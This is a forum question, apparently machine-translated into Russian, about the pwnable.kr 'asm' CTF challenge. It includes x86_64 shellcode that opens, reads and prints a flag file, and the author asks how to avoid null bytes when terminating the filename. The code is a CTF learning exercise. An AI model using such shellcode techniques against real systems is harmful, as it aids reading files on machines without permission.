Я пытаюсь решить задачу CTF из pwnable.kr (toddlers bottle, asm), в которой я должен написать «shellcode», который откроет, прочитает и напишет содержимое файла (содержащего флаг).Обработка строк в shellcode
Мой код выглядит следующим образом:
global _start
section .text
_start:
jmp mesg
shellcode:
; open
pop rdi ; rdi points to file_name and trash
xor rsi, rsi
mov al, 2 ; sys_open
syscall
; read
mov rdi, rax
xor rax, rax ; sys_read
lea rsi, [rsp]
mov dl, 0x20
syscall
; write
mov dl, al ; bytes read
xor rax, rax
mov al, 1 ; sys_write
mov dil, 1 ; stdout
lea rsi, [rsp]
syscall
; crash
xor ebx, ebx
xor eax, eax
div ebx
mesg:
call shellcode
db "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong", 00
section .data
Деление на 0 есть, чтобы остановить выполнение и избежать зацикливания с call shellcode
Длинная строка является именем файла, содержащего флаг.
Я нашел трюк с внезапным адресом строки в регистр здесь: Linux Shellcode "Hello, World!"
Моей проблема заключается в следующем: имя файла не завершается нуль. Поэтому, когда sys_open называется, имя файла содержит мусор после фактической строки.
Я пытался делать коснуться как:
xor al, al
mov byte [rdi + 464], al
после того, как появляются в RDI вручную вставить NULL, но я не могу избавиться от NULL из байткод (шеллкод будет читаться из стандартного ввода, так что проблема).
Каков наилучший способ справиться с этим?
Архитектура: x86_64